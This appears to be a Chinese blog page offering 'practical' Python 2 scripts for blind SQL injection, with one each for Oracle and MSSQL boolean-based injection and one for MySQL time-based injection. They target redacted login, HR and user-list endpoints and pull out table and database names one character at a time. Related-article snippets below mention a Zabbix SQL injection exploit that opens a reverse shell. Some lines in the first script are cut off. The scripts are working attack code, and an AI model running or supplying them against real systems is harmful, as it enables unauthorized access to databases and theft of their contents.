1、ORACLE布尔型盲注

import urllib
import urllib2
import requests

payloads = '_ABCDEFGHIJKLMNOPQRSTUVWXYZ'
header = { 'User-Agent' : 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)'  }
values={}
print 'Start to retrive database:'
database= ''

#需要先手工判断当前表名长度
for i in range(1, 21):
    for payload in payloads:
        try:
            values['
            values['
            values['phoneNumber']="' or (select substr(table_name,%s,1) from user_tables where rownum=1)='%s' and '1'='1" % (str(i),str(payload))
            data = urllib.urlencode(values)
            url = "https://xxx.xxx.xxx.xxx/api/xxx/reg/action/xxx/appUserLogin.json"
            req = urllib2.Request(url,data=data,headers=header)
            resp = urllib2.urlopen(req).read()
            #匹配关键字输出正确的数据库名
            if "status" in resp:
                database += payload
                print 'the database is:'+ database
                break
            else:
                print 'dumping database...'
        except Exception,e:
            print e

2、MSSQL布尔型盲注

import urllib
import urllib2
import requests

payloads = 'abcdefghijklmnopqrstuvwxyz_'
header = {'User-Agent':'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)','Cookie':'ASP.NET_SessionId=4vmyjpbw03vk2aq0q5mlbemy'}
values={}
print 'Start to retrive database:'
user= ''
length=[]
databases=[]
db=''

#注出数据库
def dump_db(i,j):
    global db
    for n in range(1,j+1):
        for payload in payloads:
            try:
                values['txtMemberName']="xxx%' and (select count(*) from master.dbo.sysdatabases where dbid={0} and substring(name,{1},1)='{2}')=1--".format(i,n,payload)
                data = urllib.urlencode(values)
                url = "http://xxx.xxx.xxx/HR/xxx/xxx.aspx"
                req = urllib2.Request(url,data=data,headers=header)
                resp = urllib2.urlopen(req).read()
                if "Robert" in resp:
                    db += payload
                    print db
                    if n == j:
                        databases.append(db)
                        db=''
                    break
                else:
                    print 'dumping database...'
            except Exception,e:
                print e

#遍历判断数据库的长度,需要手工判断数据库个数
for i in range(1,19):
    for j in range(1,16):
        try:
            values['txtMemberName']="xxx%' and (select count(*) from master.dbo.sysdatabases where dbid={0} and len(name)={1})=1--".format(i,j)
            data = urllib.urlencode(values)
            url = "http://xxx.xxx.xxx/HR/xxx/xxx.aspx"
            req = urllib2.Request(url,data=data,headers=header)
            #print req
            resp = urllib2.urlopen(req).read()
            #print resp
            if "Robert" in resp:
                print 'the length of DB_%s is %s' % (str(i),str(j))
                dump_db(i,j)
                #print 'the DB is: %s' % str(db)
                length.append(j)
                break
            else:
                print 'dumping length...'
        except Exception,e:
            print e

print '-------------------------'
for ddd in range(0,17):
    print databases[ddd]
print '-------------------------'

3、MYSQL基于时间的盲注

import urllib
import urllib2
import time

payloads = 'abcdefghijklmn@_.opqrstuvwxyz0123456789'
header = {'User-Agent' : 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)'}
values={}
print 'Start to retrive database:'
database= ''

for i in range(1, 6):
    for payload in payloads:
        try:
            values['pageSize']=10
            values['pageNum']=1
            values['isAsc']='asc'
            values['orderByColumn']="(select*from(select(if(ascii(mid(database(),%s,1))=%s,sleep(2),1)))a)" % (i,ord(payload))
            data = urllib.urlencode(values)
            url = "https://xxx.xxx.xxx/system/user/list"
            t_s = time.time()
            request = urllib2.Request(url,data,headers=header)
            response = urllib2.urlopen(request,timeout=5)
            t_e = time.time()
            if((t_e-t_s)>2):
                database += payload
                print 'the database() is:\t' + database
                time.sleep(2.0)
                break
            else:
                print 'dumping......'
        except:
            pass

【实战】SQL注入小脚本的更多相关文章

  1. zabbix(sql注入判断脚本)

    zabbix(sql注入判断脚本) #-*-coding:utf-8-*- # code by anyun.org import urllib import re def getHtml(url): ...

  2. Zabbix sql注入漏洞脚本执行反弹shell

    exp检测是否存在SQL注入漏洞root@ubuntu:~# python zabbix.py http://ip:9090/+------------------------------------ ...

  3. 实战SQL注入

    SQL注入是啥就不解释了.下面演示一个SQL注入的例子 SQL注入点可以自己尝试或用SQL注入漏洞扫描工具去寻找,这里用大名鼎鼎的sqlmap演示一个现成的案例. 1.漏洞试探 root@kali:~ ...

  4. python打造一个分析网站SQL注入的脚本

    前言: 昨天晚上其实就已经写完代码.只不过向FB投稿了,打算延迟一晚上在写博客 所有才到今天早上写.好了,接下来进入正题. 思路: 1.从网站源码中爬取那些类适于:http://xxx.com/xx. ...

  5. python SQL注入测试脚本(更新中)

    import requests import json import warnings warnings.filterwarnings("ignore") url = 'https ...

  6. sql注入小姿势

    利用/*!union*/可以绕过对union的过滤

  7. SQL注入不简单?那是你没有懂它的原理~

    我们真的了解SQL注入吗? 不管用什么语言编写的Web应用,它们都用一个共同点,具有交互性并且多数是数据库驱动.在网络中,数据库驱动的Web应用随处可见,由此而存在的SQL注入是影响企业运营且最具破坏 ...

  8. Web安全学习笔记 SQL注入下

    Web安全学习笔记 SQL注入下 繁枝插云欣 --ICML8 SQL注入小技巧 CheatSheet 预编译 参考文章 一点心得 一.SQL注入小技巧 1. 宽字节注入 一般程序员用gbk编码做开发的 ...

  9. MySQL SQL 注入

    如果您通过网页获取用户输入的数据并将其插入一个MySQL数据库,那么就有可能发生SQL注入安全的问题. 本博文将为大家介绍如何防止SQL注入,并通过脚本来过滤SQL中注入的字符. 所谓SQL注入,就是 ...

随机推荐

  1. vs Qt mysql 打包程序 Driver not loaded Driver not loaded

    vs下开发Qt连接mysql程序,开发过程中操作MySQL没有问题,但打包以后安装在别的电脑上发现竟然无法连接MySQL,打包的时候,所需的libmysql.dll等dll文件拷贝到exe同级目录了, ...

  2. 设置pycharm文件默认换行符onfiguring Line Separators

    http://www.jetbrains.com/help/pycharm/2016.2/configuring-line-separators.html PyCharm makes it possi ...

  3. 算法习题---5-4交换学生(UVa10763)

    一:题目 有一组学生,他们手中分别有自己学校和想要去的目标学校(A,B).为了成功的交换学生,必须保证这一组学生中必须每两个人之间满足 s1 (A,B) 和 s2 (B,A).即两者原来和目标学校相对 ...

  4. 算法习题---5.1大理石在哪(UVa10474)

    一:题目 现有N个大理石,每个大理石上写了一个非负整数.首先把各数从小到大排序,然后回答Q个问题.每个问题问是否有一个大理石写着某个整数x,如果是,还要回答哪个大理石上写着x.排序后的大理石从左到右编 ...

  5. TestCase--网站创建新用户管理模块

    对于web测试,用户权限管理模块是必测的一个点,所以今天就来总结一下创建新用户管理模块的测试用例 参考图如下: 测试用例设计如下: 一.功能测试 1.  什么都不输入,单击“立即提交”,页面是否有提示 ...

  6. 如何使用threejs实现第一人称视角的移动

    在数据可视化领域利用webgl来创建三维场景或VR已经越来越普遍,各种开发框架也应运而生.今天我们就通过最基本的threejs来完成第一人称视角的场景巡检功能.如果你是一位threejs的初学者或正打 ...

  7. IOPS 测试工具 FIO

    FIO是测试IOPS的非常好的工具,用来对硬件进行压力测试和验证,支持13种不同的I/O引擎. fio-2.8下载: wget http://brick.kernel.dk/snaps/fio-2.8 ...

  8. 一个容器多个进程,一个pod多个容器

    一个容器多个进程:在Docker的镜像编译脚本Dockerfile中带起多个进程,如下可以在contivNet.sh中启动多个进程 FROM 10.37.210.125:5001/suning/cen ...

  9. [转帖]Nginx rewrite 规则 与 proxy_pass 实现

    Nginx rewrite 规则 与 proxy_pass 实现 https://www.cnblogs.com/jicki/p/5546916.html Nginx rewrite 规则  与 pr ...

  10. Javascript 闭包何时回收?

    定义 闭包是函数和声明该函数的词法环境的组合.闭包是指有权访问另一个函数作用域中的变量的函数,创建闭包的最常见的方式就是在一个函数内创建另一个函数,通过另一个函数访问这个函数的局部变量. 范例 fun ...